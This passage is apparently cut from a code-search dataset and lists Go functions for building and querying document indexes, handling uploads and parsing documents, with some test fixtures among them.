SplitForIndexing(idiom.Title, true)\n\tw = append(w, fmt.Sprintf(\"%d\", idiom.Id))\n\twTitle = w\n\n\twLead = SplitForIndexing(idiom.LeadParagraph, true)\n\tw = append(w, wLead...)\n\t// ExtraKeywords as not as important as Title, rather as important as Lead\n\twKeywords := SplitForIndexing(idiom.ExtraKeywords, true)\n\twLead = append(wLead, wKeywords...)\n\tw = append(w, wKeywords...)\n\n\tfor i := range idiom.Implementations {\n\t\timpl := &idiom.Implementations[i]\n\t\twImpl := impl.ExtractIndexableWords()\n\t\tw = append(w, wImpl...)\n\t}\n\n\treturn w, wTitle, wLead\n}","func (ungenerated *Text) generateMarkov() Text {\r\n\tmyMap := map[string][]string{}\r\n\tlines := strings.Split(ungenerated.textdata, \"\\n\")\r\n\tfor _, line := range lines {\r\n\t\twords := strings.Split(line, \" \")\r\n\t\tfor i, word := range words {\r\n\t\t\tif i < (len(words) - 1) {\r\n\t\t\t\tmyMap[word] = append(myMap[word], words[i+1])\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tungenerated.datamap = myMap\r\n\treturn *ungenerated\r\n}","func (d *dictionary) getIndex(word string) tokenID {\n\tif idx, found := d.indices[word]; found {\n\t\treturn idx\n\t}\n\treturn unknownIndex\n}","func (m *ProjectIndexer) Index(resource *models.Project, doc solr.Document) solr.Document {\n\tdoc.Set(\"type_ssi\", \"Project\")\n\tdoc.Set(\"title_tesi\", resource.Title)\n\tdoc.Set(\"alternative_title_tesim\", resource.AlternativeTitle)\n\tdoc.Set(\"start_date_ssi\", resource.StartDate)\n\tdoc.Set(\"end_date_ssi\", resource.EndDate)\n\n\treturn doc\n}","func uploadDocument(c echo.Context) error {\n\n\tclaim, err := securityCheck(c, \"upload\")\n\tif err != nil {\n\t\treturn c.String(http.StatusUnauthorized, \"bye\")\n\t}\n\n\treq := c.Request()\n\t// req.ParseMultipartForm(16 << 20) // Max memory 16 MiB\n\n\tdoc := &DBdoc{}\n\tdoc.ID = 0\n\tdoc.Name = c.FormValue(\"desc\")\n\tdoc.Type = c.FormValue(\"type\")\n\tRev, _ := strconv.Atoi(c.FormValue(\"rev\"))\n\tdoc.RefId, _ = strconv.Atoi(c.FormValue(\"ref_id\"))\n\tdoc.UserId, _ = getClaimedUser(claim)\n\tlog.Println(\"Passed bools\", c.FormValue(\"worker\"), c.FormValue(\"sitemgr\"), c.FormValue(\"contractor\"))\n\tdoc.Worker = (c.FormValue(\"worker\") == \"true\")\n\tdoc.Sitemgr = (c.FormValue(\"sitemgr\") == \"true\")\n\tdoc.Contractor = (c.FormValue(\"contractor\") == \"true\")\n\tdoc.Filesize = 0\n\n\t// make upload dir if not already there, ignore errors\n\tos.Mkdir(\"uploads\", 0666)\n\n\t// Read files\n\t// files := req.MultipartForm.File[\"file\"]\n\tfiles, _ := req.FormFile(\"file\")\n\tpath := \"\"\n\t//log.Println(\"files =\", files)\n\t// for _, f := range files {\n\tf := files\n\tdoc.Filename = f.Filename\n\n\t// Source file\n\tsrc, err := f.Open()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer src.Close()\n\n\t// While filename exists, append a version number to it\n\tdoc.Path = \"uploads/\" + doc.Filename\n\tgotFile := false\n\trevID := 1\n\n\tfor !gotFile {\n\t\tlog.Println(\"Try with path=\", doc.Path)\n\t\tdst, err := os.OpenFile(doc.Path, os.O_EXCL|os.O_RDWR|os.O_CREATE, 0666)\n\t\tif err != nil {\n\t\t\tif os.IsExist(err) {\n\t\t\t\tlog.Println(doc.Path, \"already exists\")\n\t\t\t\tdoc.Path = fmt.Sprintf(\"uploads/%s.%d\", doc.Filename, revID)\n\t\t\t\trevID++\n\t\t\t\tif revID > 999 {\n\t\t\t\t\tlog.Println(\"RevID limit exceeded, terminating\")\n\t\t\t\t\treturn c.String(http.StatusBadRequest, doc.Path)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Println(\"Created file\", doc.Path)\n\t\t\tgotFile = true\n\t\t\tdefer dst.Close()\n\n\t\t\tif doc.Filesize, err = io.Copy(dst, src); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// If we get here, then the file transfer is complete\n\n\t\t\t// If doc does not exist by this filename, create it\n\t\t\t// If doc does exist, create rev, and update header details of doc\n\n\t\t\tif Rev == 0 {\n\t\t\t\t// New doc\n\t\t\t\terr := DB.InsertInto(\"doc\").\n\t\t\t\t\tWhitelist(\"name\", \"filename\", \"path\", \"worker\", \"sitemgr\", \"contractor\", \"type\", \"ref_id\", \"filesize\", \"user_id\").\n\t\t\t\t\tRecord(doc).\n\t\t\t\t\tReturning(\"id\").\n\t\t\t\t\tQueryScalar(&doc.ID)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Inserting Record:\", err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Inserted new doc with ID\", doc.ID)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Revision to existing doc\n\t\t\t\tdocRev := &DBdocRev{}\n\t\t\t\tdocRev.Path = doc.Path\n\t\t\t\tdocRev.Filename = doc.Filename\n\t\t\t\tdocRev.Filesize = doc.Filesize\n\t\t\t\tdocRev.DocId = doc.ID\n\t\t\t\tdocRev.ID = Rev\n\t\t\t\tdocRev.Descr = doc.Name\n\t\t\t\tdocRev.UserId = doc.UserId\n\n\t\t\t\t_, err := DB.InsertInto(\"doc_rev\").\n\t\t\t\t\tWhitelist(\"doc_id\", \"id\", \"descr\", \"filename\", \"path\", \"filesize\", \"user_id\").\n\t\t\t\t\tRecord(docRev).\n\t\t\t\t\tExec()\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Inserting revision:\", err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Inserted new revision with ID\", docRev.ID)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t} // managed to create the new file\n\t\t// } // loop until we have created a file\n\t} // foreach file being uploaded this batch\n\n\treturn c.String(http.StatusOK, path)\n}","func indexHandler(s *search.SearchServer, w http.ResponseWriter, r *http.Request) {\n\tparams := r.URL.Query()\n\tcollection := params.Get(\"collection\")\n\n\tif collection == \"\" {\n\t\trespondWithError(w, r, \"Collection query parameter is required\")\n\t\treturn\n\t}\n\n\tif !s.Exists(collection) {\n\t\trespondWithError(w, r, \"Collection does not exist\")\n\t\treturn\n\t}\n\n\tbytes, err := ioutil.ReadAll(r.Body)\n\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error reading body\")\n\t\treturn\n\t}\n\n\tif len(bytes) == 0 {\n\t\trespondWithError(w, r, \"Error document missing\")\n\t\treturn\n\t}\n\n\tvar doc document\n\terr = json.Unmarshal(bytes, &doc)\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error parsing document JSON\")\n\t\treturn\n\t}\n\n\tif len(doc.Id) == 0 {\n\t\trespondWithError(w, r, fmt.Sprintf(\"Error document id is required, not found in: %v\", string(bytes)))\n\t\treturn\n\t}\n\n\tif len(doc.Fields) == 0 {\n\t\trespondWithError(w, r, \"Error document is missing fields\")\n\t\treturn\n\t}\n\n\td := search.NewDocument()\n\td.Id = doc.Id\n\tfor k, v := range doc.Fields {\n\t\td.Fields[k] = &search.Field{Value: v}\n\t}\n\n\ts.Index(collection, d)\n\trespondWithSuccess(w, r, \"Success, document indexed\")\n}","func NewWordSearch(tree *WordTree) *WordSearch {\n\treturn &WordSearch{\n\t\ttree: tree,\n\t}\n}","func ParseCWLDocument(existingContext *WorkflowContext, yamlStr string, entrypoint string, inputfilePath string, useObjectID string) (objectArray []NamedCWLObject, schemata []CWLType_Type, context *WorkflowContext, schemas []interface{}, newEntrypoint string, err error) {\n\t//fmt.Printf(\"(Parse_cwl_document) starting\\n\")\n\n\tif useObjectID != \"\" {\n\t\tif !strings.HasPrefix(useObjectID, \"#\") {\n\t\t\terr = fmt.Errorf(\"(NewCWLObject) useObjectID has not # as prefix (%s)\", useObjectID)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif existingContext != nil {\n\t\tcontext = existingContext\n\t} else {\n\t\tcontext = NewWorkflowContext()\n\t\tcontext.Path = inputfilePath\n\t\tcontext.InitBasic()\n\t}\n\n\tgraphPos := strings.Index(yamlStr, \"$graph\")\n\n\t//yamlStr = strings.Replace(yamlStr, \"$namespaces\", \"namespaces\", -1)\n\t//fmt.Println(\"yamlStr:\")\n\t//fmt.Println(yamlStr)\n\n\tif graphPos != -1 {\n\t\t// *** graph file ***\n\t\t//yamlStr = strings.Replace(yamlStr, \"$graph\", \"graph\", -1) // remove dollar sign\n\t\tlogger.Debug(3, \"(Parse_cwl_document) graph document\")\n\t\t//fmt.Printf(\"(Parse_cwl_document) ParseCWLGraphDocument\\n\")\n\t\tobjectArray, schemata, schemas, err = ParseCWLGraphDocument(yamlStr, entrypoint, context)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"(Parse_cwl_document) Parse_cwl_graph_document returned: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t} else {\n\t\tlogger.Debug(3, \"(Parse_cwl_document) simple document\")\n\t\t//fmt.Printf(\"(Parse_cwl_document) ParseCWLSimpleDocument\\n\")\n\n\t\t//useObjectID := \"#\" + inputfilePath\n\n\t\tvar objectID string\n\n\t\tobjectArray, schemata, schemas, objectID, err = ParseCWLSimpleDocument(yamlStr, useObjectID, context)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"(Parse_cwl_document) Parse_cwl_simple_document returned: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t\tnewEntrypoint = objectID\n\t}\n\tif len(objectArray) == 0 {\n\t\terr = fmt.Errorf(\"(Parse_cwl_document) len(objectArray) == 0 (graphPos: %d)\", graphPos)\n\t\treturn\n\t}\n\t//fmt.Printf(\"(Parse_cwl_document) end\\n\")\n\treturn\n}"],"string":"[\n \"func (c *Classifier) addDocument(name string, doc *document) {\\n\\t// For documents that are part of the corpus, we add them to the dictionary and\\n\\t// compute their associated search data eagerly so they are ready for matching against\\n\\t// candidates.\\n\\tid := c.generateIndexedDocument(doc, true)\\n\\tid.generateFrequencies()\\n\\tid.generateSearchSet(c.q)\\n\\tid.s.origin = name\\n\\tc.docs[name] = id\\n}\",\n \"func (c *Classifier) createTargetIndexedDocument(in []byte) *indexedDocument {\\n\\tdoc := tokenize(in)\\n\\treturn c.generateIndexedDocument(doc, false)\\n}\",\n \"func (m *sparse) Add(index *index.TermIndex, weight classifier.WeightScheme, docWordFreq map[string]float64) {\\n\\tprev := len(m.ind)\\n\\tfor term := range docWordFreq {\\n\\t\\tm.ind = append(m.ind, index.IndexOf(term))\\n\\t\\tm.val = append(m.val, weight(term))\\n\\t}\\n\\n\\tcur := prev + len(docWordFreq)\\n\\tquickSort(m, prev, cur-1)\\n\\tm.ptr = append(m.ptr, cur)\\n}\",\n \"func DocumentAdd(docs []Document) {\\n\\tlen := len(documents)\\n\\tfor i := range docs {\\n\\t\\tdocs[i].SetID(uint64(len + i))\\n\\t\\tdocuments = append(documents, docs[i])\\n\\t}\\n\\n\\tindexDocuments.add(docs)\\n}\",\n \"func generateIndex(textsNumber int, wordsNumber int) *Index {\\n\\ttitles := make([]string, textsNumber)\\n\\tentries := make(map[string]Set)\\n\\tfor i := 0; i < textsNumber; i++ {\\n\\t\\ttitles[i] = fmt.Sprintf(\\\"title-with-number-%d\\\", i)\\n\\t}\\n\\tfor i := 0; i < wordsNumber; i++ {\\n\\t\\tset := Set{}\\n\\t\\tfor j := 0; j < textsNumber; j++ {\\n\\t\\t\\tset.Put(j)\\n\\t\\t}\\n\\t\\tentries[fmt.Sprintf(\\\"w%d\\\", i)] = set\\n\\t}\\n\\treturn &Index{\\n\\t\\tTitles: titles,\\n\\t\\tData: entries,\\n\\t}\\n}\",\n \"func newDocumentIndex(opts *iface.CreateDocumentDBOptions) iface.StoreIndex {\\n\\treturn &documentIndex{\\n\\t\\tindex: map[string][]byte{},\\n\\t\\topts: opts,\\n\\t}\\n}\",\n \"func loadDocument(id, sc, fields interface{}) (index.Document, error) {\\n\\n\\tscore, err := strconv.ParseFloat(string(sc.([]byte)), 64)\\n\\tif err != nil {\\n\\t\\treturn index.Document{}, fmt.Errorf(\\\"Could not parse score: %s\\\", err)\\n\\t}\\n\\n\\tdoc := index.NewDocument(string(id.([]byte)), float32(score))\\n\\tlst := fields.([]interface{})\\n\\tfor i := 0; i < len(lst); i += 2 {\\n\\t\\tprop := string(lst[i].([]byte))\\n\\t\\tvar val interface{}\\n\\t\\tswitch v := lst[i+1].(type) {\\n\\t\\tcase []byte:\\n\\t\\t\\tval = string(v)\\n\\t\\tdefault:\\n\\t\\t\\tval = v\\n\\n\\t\\t}\\n\\t\\tdoc = doc.Set(prop, val)\\n\\t}\\n\\treturn doc, nil\\n}\",\n \"func GenNaiveSearchIndex(item models.Item) string {\\n\\twords := make(map[string]struct{})\\n\\n\\t// Extract name.\\n\\tfor _, v := range extractWords(item.Name) {\\n\\t\\twords[v] = struct{}{}\\n\\t}\\n\\n\\t// Extract type of item.\\n\\tfor _, v := range extractWords(item.Type) {\\n\\t\\twords[v] = struct{}{}\\n\\t}\\n\\n\\t// Extract properties.\\n\\tfor _, mod := range item.ExplicitMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor _, mod := range item.ImplicitMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor _, mod := range item.UtilityMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor _, mod := range item.EnchantMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor _, mod := range item.CraftedMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\n\\t// Construct final string with sorted keywords.\\n\\tkeys := make([]string, 0, len(words))\\n\\tfor key := range words {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\tsort.Strings(keys)\\n\\treturn strings.Join(keys, \\\" \\\")\\n}\",\n \"func (this *Corpus) AddDoc(docId uint32, wcs []*WordCount) {\\n\\tif this.Docs == nil {\\n\\t\\tthis.Docs = make(map[uint32][]*WordCount)\\n\\t}\\n\\tif _, ok := this.Docs[docId]; ok {\\n\\t\\tlog.Warningf(\\\"document %d already exists, associated value will be overwritten\\\")\\n\\t}\\n\\tthis.Docs[docId] = wcs\\n}\",\n \"func (t *TrigramIndex) Add(doc string) int {\\n\\tnewDocID := t.maxDocID + 1\\n\\ttrigrams := ExtractStringToTrigram(doc)\\n\\tfor _, tg := range trigrams {\\n\\t\\tvar mapRet IndexResult\\n\\t\\tvar exist bool\\n\\t\\tif mapRet, exist = t.TrigramMap[tg]; !exist {\\n\\t\\t\\t//New doc ID handle\\n\\t\\t\\tmapRet = IndexResult{}\\n\\t\\t\\tmapRet.DocIDs = make(map[int]bool)\\n\\t\\t\\tmapRet.Freq = make(map[int]int)\\n\\t\\t\\tmapRet.DocIDs[newDocID] = true\\n\\t\\t\\tmapRet.Freq[newDocID] = 1\\n\\t\\t} else {\\n\\t\\t\\t//trigram already exist on this doc\\n\\t\\t\\tif _, docExist := mapRet.DocIDs[newDocID]; docExist {\\n\\t\\t\\t\\tmapRet.Freq[newDocID] = mapRet.Freq[newDocID] + 1\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t//tg eixist but new doc id is not exist, add it\\n\\t\\t\\t\\tmapRet.DocIDs[newDocID] = true\\n\\t\\t\\t\\tmapRet.Freq[newDocID] = 1\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t//Store or Add result\\n\\t\\tt.TrigramMap[tg] = mapRet\\n\\t}\\n\\n\\tt.maxDocID = newDocID\\n\\tt.docIDsMap[newDocID] = true\\n\\treturn newDocID\\n}\",\n \"func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\\n\\tif d, exists := s.documents[uri]; exists {\\n\\t\\tpanic(fmt.Errorf(\\\"Attempting to create a document that already exists. %+v\\\", d))\\n\\t}\\n\\td := &Document{}\\n\\td.uri = uri\\n\\td.path, _ = URItoPath(uri)\\n\\td.language = language\\n\\td.version = version\\n\\td.server = s\\n\\td.body = body\\n\\ts.documents[uri] = d\\n\\treturn d\\n}\",\n \"func AddDocument(clientId string, doc *ClientDocument, entitiesFound []*Entity, themes []uint64) error {\\n\\n\\tcd := \\\"clientdocuments_\\\" + clientId\\n\\n\\tsi, err := solr.NewSolrInterface(solrUrl, cd)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar englishEntities, entities []string\\n\\tfor _, entity := range entitiesFound {\\n\\t\\tenglishEntities = append(englishEntities, entity.UrlPageTitle)\\n\\t\\tentities = append(entities, entity.UrlPageTitle)\\n\\t}\\n\\n\\tvar documents []solr.Document\\n\\tclientDocument := make(solr.Document)\\n\\tclientDocument.Set(\\\"documentID\\\", doc.ClientDocumentShort.DocumentID)\\n\\tclientDocument.Set(\\\"documentTitle\\\", doc.DocumentTitle)\\n\\tclientDocument.Set(\\\"document\\\", doc.Document)\\n\\tclientDocument.Set(\\\"languageCode\\\", doc.LanguageCode)\\n\\tclientDocument.Set(\\\"createdAt\\\", doc.CreatedAt)\\n\\tclientDocument.Set(\\\"sentiment\\\", doc.Sentiment)\\n\\tclientDocument.Set(\\\"themes\\\", themes)\\n\\tclientDocument.Set(\\\"entities\\\", entities)\\n\\tclientDocument.Set(\\\"englishEntities\\\", englishEntities)\\n\\tdocuments = append(documents, clientDocument)\\n\\n\\t_, err = si.Add(documents, 1, nil)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error while adding document to Solr. No such core exists\\\")\\n\\t}\\n\\n\\terr = Reload(cd)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func buildIndexWithWalk(dir string) {\\n\\t//fmt.Println(len(documents))\\n\\tfilepath.Walk(dir, func(path string, f os.FileInfo, err error) error {\\n\\t\\tif (err != nil) {\\n\\t\\t\\tfmt.Fprintln(os.Stdout, err)\\n\\t\\t}\\n\\t\\tdocuments = append(documents, path)\\n\\t\\treturn nil\\n\\t});\\n}\",\n \"func newDoc(c *gin.Context) {\\n\\tkey := uuid.New()\\n\\tres := saveDocument(key, c)\\n\\tif res.Ok == false {\\n\\t\\tif res.Message == \\\"file exists\\\" {\\n\\t\\t\\tc.JSON(fileExistsErr, res)\\n\\t\\t} else {\\n\\t\\t\\tlog.Printf(\\\"Error saving document: %s\\\", res.Error)\\n\\t\\t\\tc.JSON(statusErr, res)\\n\\t\\t}\\n\\t} else {\\n\\t\\tc.JSON(statusOk, res)\\n\\t}\\n}\",\n \"func (s *SiteSearchTagsDAO) AddTagsSearchIndex(docID string, doctype string, tags []string) error {\\n\\n\\tfor _, v := range tags {\\n\\n\\t\\tcount, err := s.Exists(v)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"error attempting to get record count for keyword %s with error %s\\\", v, err)\\n\\t\\t}\\n\\n\\t\\tlog.Info().Msgf(\\\"Found %d site search tag records for keyworkd %s\\\", count, v)\\n\\n\\t\\t// Determine if the document exists already\\n\\t\\tif count == 0 {\\n\\t\\t\\tlog.Info().Msgf(\\\"]Tag does not exist for %s in the database\\\", v)\\n\\t\\t\\tvar newSTM models.SiteSearchTagsModel\\n\\t\\t\\tnewSTM.Name = v\\n\\t\\t\\tnewSTM.TagsID = models.GenUUID()\\n\\t\\t\\tvar doc models.Documents\\n\\t\\t\\tvar docs []models.Documents\\n\\t\\t\\tdoc.DocType = doctype\\n\\t\\t\\tdoc.DocumentID = docID\\n\\t\\t\\tdocs = append(docs, doc)\\n\\n\\t\\t\\tnewSTM.Documents = docs\\n\\t\\t\\tlog.Info().Msgf(\\\"Inserting new tag %s into database\\\", v)\\n\\t\\t\\terr = s.InsertSiteSearchTags(&newSTM)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error inserting new site search tag for keyword %s with error %s\\\", v, err)\\n\\t\\t\\t}\\n\\t\\t\\tlog.Info().Msgf(\\\"Tag %s inserted successfully\\\", v)\\n\\t\\t\\t// If not, then we add to existing documents\\n\\t\\t} else {\\n\\n\\t\\t\\tstm, err := s.GetSiteSearchTagByName(v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error getting current instance of searchtag for keyword %s with error %s\\\", v, err)\\n\\t\\t\\t}\\n\\t\\t\\tlog.Info().Msgf(\\\"Found existing searchtagid record for %s\\\", stm.Name)\\n\\t\\t\\t//fmt.Println(mtm.Documents)\\n\\n\\t\\t\\t// Get the list of documents\\n\\t\\t\\tdocs := stm.Documents\\n\\n\\t\\t\\t// For the list of documents, find the document ID we are looking for\\n\\t\\t\\t// If not found, then we update the document list with the document ID\\n\\t\\t\\tfound := false\\n\\t\\t\\tfor _, d := range docs {\\n\\t\\t\\t\\tif d.DocumentID == v {\\n\\t\\t\\t\\t\\tfound = true\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif found {\\n\\t\\t\\t\\tlog.Info().Msgf(\\\"Updating tag, %s with document id %s\\\", v, docID)\\n\\t\\t\\t\\tvar doc models.Documents\\n\\t\\t\\t\\tdoc.DocType = doctype\\n\\t\\t\\t\\tdoc.DocumentID = docID\\n\\t\\t\\t\\tdocs = append(docs, doc)\\n\\t\\t\\t\\tstm.Documents = docs\\n\\t\\t\\t\\t//fmt.Println(mtm)\\n\\t\\t\\t\\terr = s.UpdateSiteSearchTags(&stm)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"error updating searchtag for keyword %s with error %s\\\", v, err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (d *dictionary) add(word string) tokenID {\\n\\tif idx := d.getIndex(word); idx != unknownIndex {\\n\\t\\treturn idx\\n\\t}\\n\\t// token IDs start from 1, 0 is reserved for the invalid ID\\n\\tidx := tokenID(len(d.words) + 1)\\n\\td.words[idx] = word\\n\\td.indices[word] = idx\\n\\treturn idx\\n}\",\n \"func NewDocument(class Class, tokens ...string) Document {\\n\\treturn Document{\\n\\t\\tClass: class,\\n\\t\\tTokens: tokens,\\n\\t}\\n}\",\n \"func NewDocumentService(config *autoconfig.Config, ctx context.Context) (*DocumentService, error) {\\n\\ts := &DocumentService{\\n\\t\\tconfig: config,\\n\\t\\tHandler: mux.NewRouter(),\\n\\t}\\n\\ts.createClients(ctx)\\n\\n\\t// These is the un-authenticated endpoint that handles authentication with Auth0.\\n\\ts.Handler.HandleFunc(\\\"/debug/health\\\", health.StatusHandler).Methods(\\\"GET\\\")\\n\\ts.Handler.Handle(\\\"/login\\\", middleware.JSON(authentication.Handler(config))).Methods(\\\"POST\\\")\\n\\n\\t// These requests all require authentication.\\n\\tlogMiddleware := logging.LogMiddleware{\\n\\t\\tTable: s.bigquery.Dataset(config.Get(\\\"bigquery.dataset\\\")).Table(config.Get(\\\"bigquery.log_table\\\")),\\n\\t}\\n\\tauthRouter := s.Handler.PathPrefix(\\\"/document\\\").Subrouter()\\n\\tauthRouter.Handle(\\\"/\\\", middleware.JSON(authentication.Middleware(config, s.ListDocuments))).Methods(\\\"GET\\\")\\n\\tauthRouter.Handle(\\\"/\\\", middleware.JSON(authentication.Middleware(config, s.UploadDocument))).Methods(\\\"POST\\\")\\n\\tauthRouter.Handle(\\\"/{id}\\\", authentication.Middleware(config, s.GetDocument)).Methods(\\\"GET\\\")\\n\\tauthRouter.Handle(\\\"/{id}\\\", middleware.JSON(authentication.Middleware(config, s.DeleteDocument))).Methods(\\\"DELETE\\\")\\n\\tauthRouter.Use(logMiddleware.Middleware)\\n\\tauthRouter.Use(handlers.CompressHandler)\\n\\treturn s, nil\\n}\",\n \"func (iob *IndexOptionsBuilder) Build() bson.D {\\n\\treturn iob.document\\n}\",\n \"func BuildIndex(nGram int, dictionary []string) *NGramIndex {\\n\\tindex := make(InvertedIndex)\\n\\n\\tfor id, word := range dictionary {\\n\\t\\tfor _, term := range SplitIntoNGrams(nGram, word) {\\n\\t\\t\\tif _, ok := index[term]; !ok {\\n\\t\\t\\t\\tindex[term] = PostingList{}\\n\\t\\t\\t}\\n\\n\\t\\t\\tindex[term] = append(index[term], uint32(id))\\n\\t\\t}\\n\\t}\\n\\n\\treturn &NGramIndex{\\n\\t\\tnGram: nGram,\\n\\t\\tindex: index,\\n\\t\\tdictionary: dictionary,\\n\\t}\\n}\",\n \"func BuildTestDocument() *did.Document {\\n\\tdoc := &did.Document{}\\n\\n\\tmainDID, _ := didlib.Parse(testDID)\\n\\n\\tdoc.ID = *mainDID\\n\\tdoc.Context = did.DefaultDIDContextV1\\n\\tdoc.Controller = mainDID\\n\\n\\t// Public Keys\\n\\tpk1 := did.DocPublicKey{}\\n\\tpk1ID := fmt.Sprintf(\\\"%v#keys-1\\\", testDID)\\n\\td1, _ := didlib.Parse(pk1ID)\\n\\tpk1.ID = d1\\n\\tpk1.Type = linkeddata.SuiteTypeSecp256k1Verification\\n\\tpk1.Controller = mainDID\\n\\thexKey := \\\"04f3df3cea421eac2a7f5dbd8e8d505470d42150334f512bd6383c7dc91bf8fa4d5458d498b4dcd05574c902fb4c233005b3f5f3ff3904b41be186ddbda600580b\\\"\\n\\tpk1.PublicKeyHex = utils.StrToPtr(hexKey)\\n\\n\\tdoc.PublicKeys = []did.DocPublicKey{pk1}\\n\\n\\t// Service endpoints\\n\\tep1 := did.DocService{}\\n\\tep1ID := fmt.Sprintf(\\\"%v#vcr\\\", testDID)\\n\\td2, _ := didlib.Parse(ep1ID)\\n\\tep1.ID = *d2\\n\\tep1.Type = \\\"CredentialRepositoryService\\\"\\n\\tep1.ServiceEndpoint = \\\"https://repository.example.com/service/8377464\\\"\\n\\tep1.ServiceEndpointURI = utils.StrToPtr(\\\"https://repository.example.com/service/8377464\\\")\\n\\n\\tdoc.Services = []did.DocService{ep1}\\n\\n\\t// Authentication\\n\\taw1 := did.DocAuthenicationWrapper{}\\n\\taw1ID := fmt.Sprintf(\\\"%v#keys-1\\\", testDID)\\n\\td3, _ := didlib.Parse(aw1ID)\\n\\taw1.ID = d3\\n\\taw1.IDOnly = true\\n\\n\\taw2 := did.DocAuthenicationWrapper{}\\n\\taw2ID := fmt.Sprintf(\\\"%v#keys-2\\\", testDID)\\n\\td4, _ := didlib.Parse(aw2ID)\\n\\taw2.ID = d4\\n\\taw2.IDOnly = false\\n\\taw2.Type = linkeddata.SuiteTypeSecp256k1Verification\\n\\taw2.Controller = mainDID\\n\\thexKey2 := \\\"04debef3fcbef3f5659f9169bad80044b287139a401b5da2979e50b032560ed33927eab43338e9991f31185b3152735e98e0471b76f18897d764b4e4f8a7e8f61b\\\"\\n\\taw2.PublicKeyHex = utils.StrToPtr(hexKey2)\\n\\n\\tdoc.Authentications = []did.DocAuthenicationWrapper{aw1, aw2}\\n\\n\\treturn doc\\n}\",\n \"func NewWordInfo(idx int64, freq int64) *WordInfo {\\n\\treturn &WordInfo{\\n\\t\\t//Word: word,\\n\\t\\tIdx: idx,\\n\\t\\tFreq: freq,\\n\\t}\\n}\",\n \"func NewDocument() *Document {\\n\\treturn &Document{documents: make(map[string]flare.Document)}\\n}\",\n \"func (engine *Engine) Index(docId uint64, data types.DocData,\\n\\tforceUpdate ...bool) {\\n\\n\\tvar force bool\\n\\tif len(forceUpdate) > 0 {\\n\\t\\tforce = forceUpdate[0]\\n\\t}\\n\\n\\t// if engine.HasDoc(docId) {\\n\\t// \\tengine.RemoveDoc(docId)\\n\\t// }\\n\\n\\t// data.Tokens\\n\\tengine.internalIndexDoc(docId, data, force)\\n\\n\\thash := murmur.Sum32(fmt.Sprintf(\\\"%d\\\", docId)) %\\n\\t\\tuint32(engine.initOptions.StoreShards)\\n\\n\\tif engine.initOptions.UseStore && docId != 0 {\\n\\t\\tengine.storeIndexDocChans[hash] <- storeIndexDocReq{\\n\\t\\t\\tdocId: docId, data: data}\\n\\t}\\n}\",\n \"func (db *InMemDatabase) StoreDocument(t model.Document) (model.Document, error) {\\n\\tdb.currentId += 1\\n\\tt.Id = string(db.currentId)\\n\\tdb.documents = append(db.documents, t)\\n\\treturn t, nil\\n}\",\n \"func (impl *Impl) ExtractIndexableWords() []string {\\n\\tw := make([]string, 0, 20)\\n\\tw = append(w, fmt.Sprintf(\\\"%d\\\", impl.Id))\\n\\tw = append(w, strings.ToLower(impl.LanguageName))\\n\\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\\n\\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\\n\\tif len(impl.AuthorComment) >= 3 {\\n\\t\\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\\n\\t}\\n\\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\\n\\t\\tw = append(w, langExtras...)\\n\\t}\\n\\t// Note: we don't index external URLs.\\n\\treturn w\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n \\n}\",\n \"func NewIndex(root string) *Index {\\n\\tvar x Indexer;\\n\\n\\t// initialize Indexer\\n\\tx.words = make(map[string]*IndexResult);\\n\\n\\t// collect all Spots\\n\\tpathutil.Walk(root, &x, nil);\\n\\n\\t// for each word, reduce the RunLists into a LookupResult;\\n\\t// also collect the word with its canonical spelling in a\\n\\t// 